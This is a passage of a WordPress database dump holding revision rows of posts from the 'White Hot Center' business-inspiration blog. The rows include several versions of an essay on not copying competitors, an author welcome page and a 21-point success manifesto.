(618, 2, '2009-08-26 07:09:03', '2009-08-26 14:09:03', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\r\nIt will always involve change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide is perceived by clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2><strong>We adapt by copying others.</strong></h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of change is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2><strong>Your business must stand for something.</strong></h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is just another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n\r\n<strong> </strong>\r\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\r\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.\r\n\r\n<span style="color: #808080;">Authors Note: This post is an edited version of a post I created for the <a href="http://www.pullinc.com" target="_blank"><em>Influence by Design</em></a> blog. In that article, the focus was on building identity strategies that are highly differentiated from the clutter in our current marketplace. Marketers are always copying the success of others as a proven method to sell more stuff.\r\n</span>', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-28', '', '', '2009-08-26 07:09:03', '2009-08-26 14:09:03', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-28/', 0, 'revision', '', 0),
(619, 2, '2009-08-26 07:09:11', '2009-08-26 14:09:11', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\r\nIt will always involve change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves creative services, or you’re a solo professional, artist or infoprenuer, much of what you may currently provide is perceived by clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2><strong>We adapt by copying others.</strong></h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of change is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2><strong>Your business must stand for something.</strong></h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is just another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n\r\n<strong> </strong>\r\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\r\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.\r\n\r\n<span style="color: #808080;">Authors Note: This post is an edited version of a post I created for the <a href="http://www.pullinc.com" target="_blank"><em>Influence by Design</em></a> blog. In that article, the focus was on building identity strategies that are highly differentiated from the clutter in our current marketplace. Marketers are always copying the success of others as a proven method to sell more stuff.\r\n</span>', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-29', '', '', '2009-08-26 07:09:11', '2009-08-26 14:09:11', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-29/', 0, 'revision', '', 0),
(621, 2, '2009-08-26 07:14:49', '2009-08-26 14:14:49', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\r\nIt will always involve change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves many competitors, much of what you currently provide may be perceived by clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2><strong>We adapt by copying others.</strong></h2>\r\nSocial observer and author, <strong>Mark Earls</strong> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of change is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2><strong>Your business must stand for something.</strong></h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is just another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n\r\n<strong> </strong>\r\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\r\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.\r\n\r\n<span style="color: #808080;">Authors Note: This post is an edited version of a post I created for the <a href="http://www.pullinc.com" target="_blank"><em>Influence by Design</em></a> blog. In that article, the focus was on building identity strategies that are highly differentiated from the clutter in our current marketplace. Marketers are always copying the success of others as a proven method to sell more stuff.\r\n</span>', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-31', '', '', '2009-08-26 07:14:49', '2009-08-26 14:14:49', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-31/', 0, 'revision', '', 0),
(622, 2, '2009-08-26 10:32:59', '2009-08-26 17:32:59', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\nIt will always involve change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\nIf your entrepreneurial business involves many competitors, much of what you currently provide may be perceived by clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\n<h2><strong>We adapt by copying others.</strong></h2>\nSocial observer and author, <a href="http://herd.typepad.com" target="_blank"><strong>Mark Earls</strong></a> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\n\n<strong> </strong>\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of change is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\n\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\n<h2><strong>Your business must stand for something.</strong></h2>\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is just another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\n\n<strong> </strong>\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.\n\n<span style="color: #808080;">Authors Note: This post is an edited version of a post I created for the <a href="http://www.pullinc.com" target="_blank"><em>Influence by Design</em></a> blog. In that article, the focus was on building identity strategies that are highly differentiated from the clutter in our current marketplace. Marketers are always copying the success of others as a proven method to sell more stuff.\n</span>', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-32', '', '', '2009-08-26 10:32:59', '2009-08-26 17:32:59', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-32/', 0, 'revision', '', 0),
(623, 2, '2010-07-15 08:14:35', '2010-07-15 15:14:35', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\nIt will always involve change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\nIf your entrepreneurial business involves many competitors, much of what you currently provide may be perceived by clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\n<h2><strong>We adapt by copying others.</strong></h2>\nSocial observer and author, <a href="http://herd.typepad.com" target="_blank"><strong>Mark Earls</strong></a> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\n\n<strong> </strong>\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of change is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\n\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\n<h2><strong>Your business must stand for something.</strong></h2>\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is just another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\n\n<strong> </strong>\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.\n\n<span style="color: #808080;">Authors Note: This post is an edited version of a post I created for the <a href="http://www.pullinc.com" target="_blank"><em>Influence by Design</em></a> blog. In that article, the focus was on building identity strategies that are highly differentiated from the clutter in our current marketplace. Marketers are always copying the success of others as a proven method to sell more stuff. In the long run, most marketing just adds to the clutter.\n</span>', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-autosave', '', '', '2010-07-15 08:14:35', '2010-07-15 15:14:35', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-autosave/', 0, 'revision', '', 0),
(624, 2, '2009-08-26 10:34:14', '2009-08-26 17:34:14', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif"><img class="alignnone size-full wp-image-590" title="copyimage" src="http://whc.fbdev.org/wp-content/uploads/2009/08/copyimage1.gif" alt="copyimage" width="450" height="385" /></a> <span style="color: #ff6600;">Building your business is a process not an event.\r\nIt will always involve change.  Many factors drive that change– new opportunities, bigger ideas, even a competitor’s threat to a your core business. Most change that occurs within an organization (or yourself for that matter) is usually driven by external influences (fear), and rarely is initiated through forethought (inspiration)</span>.</h2>\r\nIf your entrepreneurial business involves many competitors, much of what you currently provide may be perceived by clients as less differentiated, in abundant supply, and consequently, less valuable. Naturally it’s tempting to respond to this by changing something.  It’s only logical to assume that maybe you can duplicate success by copying the attributes, features or capabilities of what’s working for others.  The sobering truth is this tactic will not sustain real growth in your business, or add more value to your clients.  In the long-run, you’ll only contribute to the sameness and doom your business to the slush pile.\r\n<h2><strong>We adapt by copying others.</strong></h2>\r\nSocial observer and author, <a href="http://herd.typepad.com" target="_blank"><strong>Mark Earls</strong></a> demonstrates the simple fact that humans have largely evolved by copying others. For thousands of years, humans have adapted through a  “do what works” mentality. In fact, Earls points out “copying is our species’ number one learning and adaptive strategy.” The temptation to copy what works is…well– very tempting.  Here’s why:\r\n\r\n<strong> </strong>\r\n<h2><strong>It’s easier and less risky to copy what works than to invent more value.</strong></h2>\r\nHumans have always sought the safety and security of the known, and avoided the risk of the unknown. When it comes to most businesses, the majority of change is really just copied from what came before, or from what’s influencing the the status quo.  The gravity of the urgent (get more clients, cash flow) seems stronger than creating greater value (inventing new stuff that serves people).\r\n\r\nSeemingly, the more success that you may copy, the more your business becomes the same– the result is your diminishing power and influence in the buying cycle with your prospective clients. Let that not be your business!\r\n<h2><strong>Your business must stand for something.</strong></h2>\r\nI’ve said this before; your business must matter to people, but not to everybody. There is no competitive advantage in doing what others do, or have done before. The idea that you promise your clients a “total solution” is just another way of saying your business doesn’t stand for anything. Get your business (what matters to you) to be what matters to your clients (serves their growth and success).\r\n\r\n<strong> </strong>\r\n<h2><strong>Don’t confuse value creation with copying success.</strong></h2>\r\nThe key to your business growth (bigger fees, better clients) is to focus your business development strategies on attracting and serving <em>only</em> those clients who demonstrate they value what you provide, engage with you, and in doing so, share their good fortune in working with you to others. Copy that formula and you can change the world.\r\n\r\n<span style="color: #808080;">Authors Note: This post is an edited version of a post I created for the <a href="http://www.pullinc.com" target="_blank"><em>Influence by Design</em></a> blog. In that article, the focus was on building identity strategies that are highly differentiated from the clutter in our current marketplace. Marketers are always copying the success of others as a proven method to sell more stuff.\r\n</span>', 'The temptation to copy what works.', 0, '', 'inherit', 'open', 'open', '', '588-revision-33', '', '', '2009-08-26 10:34:14', '2009-08-26 17:34:14', '', 588, 'http://www.whitehotcenter.com/2009/08/26/588-revision-33/', 0, 'revision', '', 0),
(628, 2, '2009-08-26 10:53:24', '2009-08-26 17:53:24', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is your heart''s desire burning bright and hot within you. </span></h2>\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many people I have worked with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a profitable business comprised of customers who value your contribution to them, and are delighted to show their appreciation by paying the higher fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\n<strong>About Me</strong>\r\n\r\nFor over 25 years, through my communications consultancy, I''ve helped businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my expertise in the corporate identity and brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nI am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight on business development with you here on the WHC blog. I want to keep you inspired to create the business and life success you really want, doing whatever brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-08-26 10:53:24', '2009-08-26 17:53:24', '', 172, 'http://www.whitehotcenter.com/2009/08/26/172-revision-55/', 0, 'revision', '', 0),
(629, 1, '2009-07-09 14:06:42', '2009-07-09 21:06:42', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to declare for you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif"><img class="alignnone size-full wp-image-385" title="21manifesto" src="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif" alt="21manifesto" width="450" height="277" /></a>\r\n\r\nSuccessful people are inspired people. They believe everything they "see" in their creative imagination has its counterpart in the physical world! There are no limits to achievement except those that are self-imposed. Let these inspired ideas burn an impression in your remarkable mind:\r\n<h2><strong>1 as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, the future is right now!\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-09 14:06:42', '2009-07-09 21:06:42', '', 136, 'http://www.whitehotcenter.com/2009/07/09/136-revision-33/', 0, 'revision', '', 0);
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(630, 2, '2009-09-04 12:28:53', '2009-09-04 19:28:53', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious.  I want to declare for you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif"><img class="alignnone size-full wp-image-385" title="21manifesto" src="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif" alt="21manifesto" width="450" height="277" /></a>\r\n\r\nSuccessful people are inspired people. They create their own game far from the confines of the status quo. They believe everything they "see" in their creative imagination has its counterpart in the physical world! Successful people believe there are no limits to any achievement except those that are self-imposed. In my work with hundreds of business people, I have formed a point of view about these essential principals that facilitate quantum leaps in business and life success.  These are timeless, inspired ideas that, when implemented into your life in a disciplined way, will create massive success for your clients, your colleagues, and for you.\r\n<h2><strong>1 as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, the future is right now!\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace 